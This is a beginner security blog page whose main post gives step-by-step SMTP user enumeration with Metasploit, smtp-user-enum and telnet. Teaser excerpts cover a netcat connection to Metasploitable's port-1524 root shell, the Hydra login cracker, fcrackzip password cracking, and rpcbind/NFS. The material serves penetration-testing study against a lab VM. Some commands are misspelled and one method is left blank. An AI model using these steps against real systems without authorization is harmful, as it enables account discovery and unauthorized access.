Skip to main content

Explot Metasploitable Root shell

                             Metasploitable Root shell 1524/tcp             open                 shell              Metasploitable root shell This was a curiousity… My first attempt was to attempt using rlogin to connect to the port, which did not appear to work correctly, though did seem to work enough to return part of a prompt to the user: root@kali:~# rlogin -p 1524 target oot@metasploitable:/# My next approach was to attempt a simple netcat connection to the host, which ended up being successful: root@kali:~# nc -v target 1524 root@metasploitable:/# id              ...

Exploit Smtp service port 25

                          Exploit SMTP service port 25

 

✍️ Total 4 Ways we can exploit Smtp service

✍️ Type  -1 --> metasploit

step -1 : Type msfconsole in terminal the it will open metasploit


step - 2 type - search smtp


step  3 : find auxiliary/scanner/smtp/smtp_enum
then use it by use command 
ex
 msf> use auxiliary/scanner/smtp/smtp_enum

 
step  4 : Show options
-- for requirement identity



step  5 : set attribute using set command.
ex
set rhost <rhostip>



Step 6 : exploit/run it using exploit command.



                                                                            by Er. Sanjay Kumar


✍️ Type  -2 --> smtp-user-enum

smtp-user-enum
smtp-user-enum is a tool for enumerating OS-level user accounts on Solaris via the SMTP service (sendmail). Enumeration is performed by inspecting the responses to VRFY, EXPN, and RCPT TO commands. It could be adapted to work against other vulnerable SMTP daemons, but this hasn’t been done as of v1.0.


smtp-user-enum -M VRFY -U <user pwd dictionary> -t <ip>

You can use default wordlist -->
/opt/metasploit/apps/pro/vendor/bundle/ruby/2.6.0/gems/metasploit-framework-4.17.75/data/wordlists/unix_users.txt

You can varify user id if it exist.



✍️ Type  -3 --> Telnet using 25 port 

telnet <ip address> <25>
ex 




✍️ Type  -3 --> ismtp

                                                                       by Er. SANJAY KUMAR
                                                                                                           sanjayyadav11210@gmail.com

Comments

Popular posts from this blog

Hydra

                                                      Hydra Hydra Package Description Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely. It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP. hydra – Very fast network logon cracker hy...

How To crack Password Of Zip File

                             crack Password Of Zip File first open terminal type frackzip --help                 See all the USAGE description                type                frcarckzip -u -D -p <dictionay > <zip file>                  -D = use for dictionay attack                  -p = find out password password is 123456            for more description please watch the video in the below and share it for study purpose                                               ...

exploit rpcbind

                            exploit rpcbind with nfs What is nfs?     Network File System (NFS) is a distributed file system protocol originally developed by Sun Microsystems in 1984,allowing a user on a client computer to access files over a network in a manner similar to how local storage is accessed. NFS, like many other protocols, builds on the Open Network Computing Remote Procedure Call (ONC RPC) system. The Network File System is an open standard defined in RFCs, allowing anyone to implement the protocol. What is rpcbind?     The rpcbind utility maps RPC services to the ports on which they listen. RPC processes notify rpcbind when they start, registering the ports they are listening on and the RPC program numbers they expect to serve. The client system then contacts rpcbind on the server with a particular...